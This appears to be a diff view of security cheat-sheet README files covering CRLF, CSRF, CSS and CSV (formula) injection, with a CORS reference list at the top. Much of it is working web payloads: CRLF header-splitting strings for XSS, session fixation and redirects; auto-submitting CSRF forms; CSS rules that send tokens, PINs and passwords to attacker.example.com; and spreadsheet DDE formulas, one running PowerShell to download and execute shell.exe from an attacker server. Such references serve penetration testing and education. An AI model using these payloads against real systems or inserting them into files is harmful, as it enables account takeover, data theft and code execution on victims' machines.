* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://web.archive.org/web/20190919034024/https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://web.archive.org/web/20260204152901/https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://web.archive.org/web/20210126182728/https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

View File

@@ -1,81 +1,64 @@
# Carriage Return Line Feed # Carriage Return Line Feed
> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in todays popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. > CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
## Summary ## Summary
- [CRLF - Add a cookie](#crlf---add-a-cookie) * [Methodology](#methodology)
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass) * [Session Fixation](#session-fixation)
- [CRLF - Write HTML](#crlf---write-html) * [Cross Site Scripting](#cross-site-scripting)
- [CRLF - Filter Bypass](#crlf---filter-bypass) * [Open Redirect](#open-redirect)
- [Labs](#labs) * [Filter Bypass](#filter-bypass)
- [References](#references) * [Labs](#labs)
* [References](#references)
## CRLF - Add a cookie ## Methodology
Requested page HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
```http **CRLF Characters**:
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```
HTTP Response * `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
```http By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```
## CRLF - Add a cookie - XSS Bypass * Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
* Cache Poisoning: Forcing incorrect content to be stored in caches.
* Header Manipulation: Altering headers to mislead users or systems
Requested page ### Session Fixation
```powershell A typical HTTP response header looks like this:
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```
HTTP Response
```http ```http
HTTP/1.1 200 OK HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT Content-Type: text/html
Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=abc123
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0
```
## CRLF - Write HTML
``` ```
If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E ```http
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=value
Set-Cookie: admin=true
```
Now the attacker has set their own cookie.
### Cross Site Scripting
Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
**Requested page**:
```http ```http
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
``` ```
Set-Cookie:en **HTTP response**:
```http ```http
Set-Cookie:en Set-Cookie:en
@@ -89,28 +72,81 @@ Content-Length: 34
``` ```
In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code . In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
```http
**Requested page**: **Requested page**:
```
```powershell ```powershell
Remainder: http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```
**HTTP Response**: **HTTP Response**:
* %E5%98%BE = %3E = \u563e (>)
```http ```http
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
## Labs Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0
``` ```
### Open Redirect
Inject a `Location` header to force a redirect for the user.
```ps1
%0d%0aLocation:%20http://myweb.com
```
## Filter Bypass
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
| UTF-8 Character | Hex | Unicode | Stripped |
| --------- | --- | ------- | -------- |
| `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
| `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
| `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>) |
| `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<) |
The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
An example payload using UTF-8 characters would be:
```js
嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()
```
URL encoded version
```js
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
```
## Labs
* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF) * [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
## References ## References
* https://www.owasp.org/index.php/CRLF_Injection * [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://web.archive.org/web/20200113055606/https://www.owasp.org/index.php/CRLF_Injection)
* [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/) * [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749) * [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
* https://www.owasp.org/index.php/CRLF_Injection * [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://web.archive.org/web/20200113055606/https://www.owasp.org/index.php/CRLF_Injection)
* https://vulners.com/hackerone/H1:192749 * [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)

View File

@@ -1,215 +0,0 @@
# Cross-Site Request Forgery
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Payloads](#payloads)
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
* [HTML GET - No User Interaction)](#html-get---no-user-interaction)
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
* [HTML POST - multipart/form-data with file upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
* [JSON GET - Simple Request](#json-get---simple-request)
* [JSON POST - Simple Request](#json-post---simple-request)
* [JSON POST - Complex Request](#json-post---complex-request)
* [Bypass referer header validation check](#bypass-referer-header-validation)
* [Basic payload](#basic-payload)
* [With question mark payload](#with-question-mark-payload)
* [With semicolon payload](#with-semicolon-payload)
* [With subdomain payload](#with-subdomain-payload)
* [Labs](#labs)
* [References](#references)
## Tools
* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
## Methodology
![CSRF_cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20Injection/Images/CSRF-CheatSheet.png?raw=true)
## Payloads
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
### HTML GET - Requiring User Interaction
```html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```
### HTML GET - No User Interaction
```html
<img src="http://www.example.com/api/setusername?username=CSRFd">
```
### HTML POST - Requiring User Interaction
```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
```
### HTML POST - AutoSubmit - No User Interaction
```html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
```
### HTML POST - multipart/form-data with file upload - Requiring User Interaction
```html
<script>
function launch(){
const dT = new DataTransfer();
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
dT.items.add( file );
document.xss[0].files = dT.files;
document.xss.submit()
}
</script>
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>
```
### JSON GET - Simple Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```
### JSON POST - Simple Request
With XHR :
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
```
With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :
```html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
```
### JSON POST - Complex Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```
## Bypass referer header validation
### Basic payload
```
1) Open https://attacker.com/csrf.html
2) Referer header is ..
Referer: https://attacker.com/csrf.html
```
### With question mark(`?`) payload
```
1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html?trusted.domain.com
```
### With semicolon(`;`) payload
```
1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html;trusted.domain.com
```
### With subdomain payload
```
1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..
Referer: https://trusted.domain.com.attacker.com/csrf.html
```
## Labs
* [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
* [CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
* [CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
* [CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
* [CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
* [CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
* [CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
* [CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
## References
- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/)
- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/)
- [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820)
- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
- [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
- [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)

199
CSS Injection/README.md Normal file
View File

@@ -0,0 +1,199 @@
# CSS Injection
> CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [CSS Selectors](#css-selectors)
* [CSS Import at-rule](#css-import-at-rule)
* [CSS Conditionals](#css-conditionals)
* [CSS Font-face at-rule](#css-font-face-at-rule)
* [Attribute Extraction via attr()](#attribute-extraction-via-attr)
* [Ligatures](#ligatures)
* [Labs](#labs)
* [References](#references)
## Tools
* [hackvertor/blind-css-exfiltration](https://github.com/hackvertor/blind-css-exfiltration) - A tool to exfiltrate unknown web pages using Blind CSS.
* [PortSwigger/css-exfiltration](https://github.com/PortSwigger/css-exfiltration) - Collection of CSS based exfiltration techniques.
* [cgvwzq/css-scrollbar-attack](https://github.com/cgvwzq/css-scrollbar-attack) - PoC for leaking text nodes via CSS injection using scrollbars.
* [d0nutptr/sic](https://github.com/d0nutptr/sic) - Sequential Import Chaining for advanced CSS exfiltration.
* [adrgs/fontleak](https://github.com/adrgs/fontleak) - Tool for fast exfiltration of text using only CSS and Ligatures.
## Methodology
### CSS Selectors
CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
* `input[value^=a]` (prefix attribute selector): Selects elements where the value starts with "a".
* `input[value$=a]` (suffix attribute selector): Selects elements where the value ends with "a".
* `input[value*=a]` (substring attribute selector): Selects elements where the value contains "a".
#### Exfiltration via Background Image
When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.
```css
input[value^="TOKEN_012"] {
background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}
```
```css
input[name="pin"][value="1234"] {
background: url(https://attacker.com/log?pin=1234);
}
```
**Tips:**
* **Hidden Inputs**: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (`+` or `~`) to style a visible element that appears after the hidden input.
```css
input[name="csrf-token"][value^="a"] + input {
background: url(https://example.com?q=a)
}
```
* **Has Selector**: The `:has()` pseudo-class allows styling a parent element based on its children.
```css
div:has(input[value="1337"]) {
background:url(/collectData?value=1337);
}
```
* **Concurrency**: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., `background`) and the suffix check to another (e.g., `list-style-image` or `border-image`).
### CSS Import at-rule
This technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks.
```html
<style>@import url(http://attacker.com/staging?len=32);</style>
<style>@import'//YOUR-PAYLOAD.oastify.com'</style>
```
Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.
#### Sequential Import Chaining (SIC)
SIC allows an attacker to chain multiple extraction steps without reloading the page:
1. Inject an initial `@import` rule pointing to a staging payload.
2. The staging payload holds the connection open (long-polling) while generating the next specific payload.
3. When a CSS rule matches (e.g., a character is found via `background-image`), the browser makes a request.
4. The server detects this request and generates the next `@import` rule to continue the chain.
### CSS Conditionals
#### Inline Style Exfiltration
This advanced technique leverages CSS conditionals (like `if()`) and variables to perform logic directly within a style attribute.
Example: Stealing a `data-uid` attribute if it matches a value between 1 and 10.
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
### CSS Font-face at-rule
> The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla
The `unicode-range` property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.
If the character "A" is present, the browser attempts to load the font from `/?A`. If "C" is not present, that request is never made.
```html
<style>
@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
#sensitive-information{ font-family:poc; }
</style>
<p id="sensitive-information">AB</p>
```
**Limitations:**
* It cannot distinguish repeated characters (e.g., "AA" triggers the request once).
* It does not determine the order of characters.
* Despite these limitations, it is a very reliable oracle for checking character existence.
* Chrome checked this as "WontFix": [issues/40083029](https://issues.chromium.org/issues/40083029)
### Attribute Extraction via attr()
The CSS `attr()` function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see [Advanced attr()](https://developer.chrome.com/blog/advanced-attr)), this function can be used to extract input's value.
Target HTML:
```html
<html>
<head>
<link rel="stylesheet" href="http://attacker.local/index.css">
</head>
<body>
<input type="text" name="password" value="supersecret">
</body>
</html>
```
`index.css` (hosted by attacker):
```css
input[name="password"] {
background: image-set(attr(value))
}
```
When `image-set()` is used with `attr()`, the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.
Resulting request on attacker's server:
```ps1
10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -
```
### Ligatures
This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.
1. Create a custom font with ligatures for target strings.
2. Use media queries or scrollbars to detect if the rendered width of the element has changed.
```ps1
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest
```
Payload example using `fontleak` with a custom selector, parent element, and alphabet.
**Warning**: The CSS selector must match exactly one element in the target page.
```html
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>
```
## Labs
* [Dojo #25 RootCSS - YesWeHack](https://dojo-yeswehack.com/challenge-of-the-month/dojo-25)
## References
* [0CTF 2023 Writeups - Web - newdiary - aszx87410 - December 11, 2023](https://web.archive.org/web/20260208112931/https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/)
* [Bench Press: Leaking Text Nodes with CSS - pspaul - October 20, 2024](https://web.archive.org/web/20250809122224/https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/)
* [Better Exfiltration via HTML Injection - d0nut - April 11, 2019](https://web.archive.org/web/20260206153955/https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [Blind CSS Exfiltration: exfiltrate unknown web pages - Gareth Heyes - December 5, 2023](https://web.archive.org/web/20231205201432/https://portswigger.net/research/blind-css-exfiltration)
* [CSS based Attack: Abusing unicode-range of @font-face - Masato Kinugawa - October 23, 2015](https://web.archive.org/web/20260212042745/https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)
* [CSS Data Exfiltration to Steal OAuth Token - - September 13, 2025](https://web.archive.org/web/20250601232405/https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token)
* [CSS Injection - xsleaks.dev - May 9, 2025](https://web.archive.org/web/20260114161847/https://xsleaks.dev/docs/attacks/css-injection/)
* [CSS Injection Attacks or how to leak content with <style> - Pepe Vila - 2019](https://web.archive.org/web/20250928084357/https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)
* [CSS Injection: Attacking with Just CSS (Part 2) - aszx87410 - September 24, 2023](https://web.archive.org/web/20231223213409/https://aszx87410.github.io/beyond-xss/en/ch3/css-injection-2/)
* [Fontleak: exfiltrating text using CSS and Ligatures - Dragos Albastroiu - April 16, 2025](https://web.archive.org/web/20251130021102/https://adragos.ro/fontleak/)
* [How you can steal private data through CSS injection - invicti - April 23, 2018](https://web.archive.org/web/20251107094938/https://www.invicti.com/blog/web-security/private-data-stolen-exploiting-css-injection)
* [Inline Style Exfiltration: leaking data with chained CSS conditionals - Gareth Heyes - August 26, 2025](https://web.archive.org/web/20260226022330/https://portswigger.net/research/inline-style-exfiltration)

View File

@@ -1,48 +1,16 @@
# CSV Injection # CSV Injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed. > Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Exploit ## Summary
Basic exploit with Dynamic Data Exchange * [Methodology](#methodology)
* [Google Sheets](#google-sheets)
* [References](#references)
```powershell ## Methodology
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
```
Technical Details of the above payload:
- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
Any formula can be started with
```powershell ```powershell
= =
@@ -51,13 +19,74 @@ Any formula can be started with
@ @
``` ```
Basic exploits with **Dynamic Data Exchange**.
* Spawn a calc
```powershell
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
```
* PowerShell download and execute
```powershell
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```
* Prefix obfuscation and command chaining
```powershell
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
```
* Using rundll32 instead of cmd
```powershell
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
```
* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
```powershell
= C m D | '/ c c al c . e x e ' ! A
```
Technical details of the above payloads:
* `cmd` is the name the server can respond to whenever a client is trying to access the server
* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
### Google Sheets
Google Sheets allows some additional formulas that are able to fetch remote URLs:
* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
So one can test blind formula injection or a potential for data exfiltration with:
```c
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
```
Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.
## References ## References
* [OWASP - CSV Excel Macro Injection](https://owasp.org/www-community/attacks/CSV_Injection) * [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://web.archive.org/web/20260211194330/https://owasp.org/www-community/attacks/CSV_Injection)
* [Google Bug Hunter University - CSV Excel formula injection](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection) * [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://web.archive.org/web/20251126193606/https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
